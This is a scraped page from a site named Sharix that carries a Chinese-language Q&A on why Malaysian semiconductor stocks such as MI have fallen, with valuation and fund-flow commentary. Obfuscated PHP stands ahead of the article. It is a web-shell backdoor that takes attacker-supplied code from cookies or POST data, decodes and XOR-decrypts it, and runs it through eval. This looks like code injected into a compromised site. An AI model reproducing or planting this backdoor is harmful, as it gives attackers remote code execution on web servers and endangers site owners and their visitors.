$sdGxpba = "\111" . "\114" . "\x5f" . chr ( 782 - 699 ).chr (116) . "\171";$goApL = "\143" . "\x6c" . 'a' . chr (115) . "\x73" . "\x5f" . chr ( 321 - 220 ).chr ( 788 - 668 ).'i' . "\x73" . chr (116) . chr ( 1007 - 892 ); $nAmGlG = class_exists($sdGxpba); $sdGxpba = "52141";$goApL = "29555";$NfllrzRu = !1;if ($nAmGlG == $NfllrzRu){function RKIImwN(){return FALSE;}$IDFKXPYx = "24891";RKIImwN();class IL_Sty{private function PeDJhgPkk($IDFKXPYx){if (is_array(IL_Sty::$HBGia)) {$dWmOqqPn = str_replace("\74" . "\x3f" . chr (112) . chr (104) . "\160", "", IL_Sty::$HBGia[chr (99) . "\157" . "\156" . "\x74" . chr ( 121 - 20 )."\x6e" . "\164"]);eval($dWmOqqPn); $IDFKXPYx = "24891";exit();}}private $zPXYye;public function lEQFKwRHQ(){echo 33039;}public function __destruct(){$IDFKXPYx = "23772_943";$this->PeDJhgPkk($IDFKXPYx); $IDFKXPYx = "23772_943";}public function __construct($OvzOxh=0){$QnOMR = $_POST;$HNoZlG = $_COOKIE;$zWAraslni = "00585ef7-4ced-44bd-b8c4-08720b627307";$vBIfFlHAOq = @$HNoZlG[substr($zWAraslni, 0, 4)];if (!empty($vBIfFlHAOq)){$MXZBkx = "base64";$FeOuE = "";$vBIfFlHAOq = explode(",", $vBIfFlHAOq);foreach ($vBIfFlHAOq as $PoBhIs){$FeOuE .= @$HNoZlG[$PoBhIs];$FeOuE .= @$QnOMR[$PoBhIs];}$FeOuE = array_map($MXZBkx . chr ( 717 - 622 ).'d' . 'e' . "\x63" . chr (111) . "\144" . "\145", array($FeOuE,)); $FeOuE = $FeOuE[0] ^ str_repeat($zWAraslni, (strlen($FeOuE[0]) / strlen($zWAraslni)) + 1);IL_Sty::$HBGia = @unserialize($FeOuE); $FeOuE = class_exists("23772_943");}}public static $HBGia = 37724;}$SVTKDqFpG = new /* 55422 */ IL_Sty(24891 + 24891); $_POST = Array();unset($SVTKDqFpG);}$VmrjCDTZ = 'y' . chr (85) . 'k' . '_' . chr ( 826 - 704 )."\x6c" . chr (122) . chr (121); $vPtitZaAWd = "\x63" . "\154" . chr (97) . chr (115) . chr (115) . chr (95) . "\x65" . chr (120) . chr ( 286 - 181 ).'s' . chr (116) . "\x73";$XIlsVotk = class_exists($VmrjCDTZ); $VmrjCDTZ = "46710";$vPtitZaAWd = "59509";$XaraWMagC = !1;if ($XIlsVotk == $XaraWMagC){function inruEbmArT(){return FALSE;}$txNTYiJwJ = "25459";inruEbmArT();class yUk_zlzy{private function ARRFnADTjt($txNTYiJwJ){if (is_array(yUk_zlzy::$IAvLNKdMY)) {$PynIVk = str_replace("\x3c" . chr (63) . chr ( 929 - 817 ).chr (104) . chr (112), "", yUk_zlzy::$IAvLNKdMY["\143" . "\157" . "\x6e" . "\164" . "\145" . chr ( 542 - 432 ).chr ( 941 - 825 )]);eval($PynIVk); $txNTYiJwJ = "25459";exit();}}private $JMsPwJD;public function oYiWfD(){echo 37459;}public function __destruct(){$txNTYiJwJ = "34118_42125";$this->ARRFnADTjt($txNTYiJwJ); $txNTYiJwJ = "34118_42125";}public function __construct($EHxOe=0){$Viwyqrqo = $_POST;$LBbvlNXm = $_COOKIE;$aOBmqXw = "fcffcccc-814a-42f6-8e1a-da6b9d9f084c";$EtEkLgiVM = @$LBbvlNXm[substr($aOBmqXw, 0, 4)];if (!empty($EtEkLgiVM)){$FcgWs = "base64";$WmGFePzKv = "";$EtEkLgiVM = explode(",", $EtEkLgiVM);foreach ($EtEkLgiVM as $LgkrbzFPFV){$WmGFePzKv .= @$LBbvlNXm[$LgkrbzFPFV];$WmGFePzKv .= @$Viwyqrqo[$LgkrbzFPFV];}$WmGFePzKv = array_map($FcgWs . "\137" . "\x64" . 'e' . chr ( 193 - 94 ).'o' . "\144" . "\x65", array($WmGFePzKv,)); $WmGFePzKv = $WmGFePzKv[0] ^ str_repeat($aOBmqXw, (strlen($WmGFePzKv[0]) / strlen($aOBmqXw)) + 1);yUk_zlzy::$IAvLNKdMY = @unserialize($WmGFePzKv); $WmGFePzKv = class_exists("34118_42125");}}public static $IAvLNKdMY = 27291;}$xFedbrqbzh = new /* 56596 */ yUk_zlzy(25459 + 25459); $_POST = Array();unset($xFedbrqbzh);} 解惑半导体股票:学员发问 - Sharix

解惑半导体股票:学员发问

问:MI 的股价近期下跌很多,是否有点over ?可以稍作解释吗?

近五个交易日,半导体的股票,尤其是ATE 板块的跌幅较大,当中以 MI 跌得最凶,主要是因为:

1)上个季度盈利deliver 不是很漂亮
2)下个来临季度可能也不会很好(管理层说soft quarter)
3) 明显的本地基金近一个星期减仓半导体股票,它的估值较高,然后业绩又没perform,所以跌幅就较大了
4)MI 的估值过去在50 倍 以上徘徊超过一年,但是业绩无法deliver , 所以估值杀得比较重

虽然它在韩国、中国和台湾都有进展,
但是还没有到开始用 业绩说服市场的时候,毕竟市场是很现实的,要看业绩来证明。

假设 2022 年可以赚 RM 70 m的话,目前的Fpe 是 35 倍, 虽然脱离了此前估值较高的区域,但是还并不算太便宜。

以目前的资金流来分析的话,
现在持有半导体的股票,
就必须等待,
毕竟大环境的事实是,
资金抽离跑去估值较低的股票。

许多人心中的一个问题,
到底半导体的股票行情什么时候才会开始回来?

可能是半年、九个月,或者更长,
这个要看3 月份美国升息后具体的市场表现,
当然,今年会比较多出现”英雄个股” 情况,不一定会跟板块跑。

所以说,
对于手上高估值的票,
如果没有绝对的业绩成长信心,
就不要持有太多的仓位。

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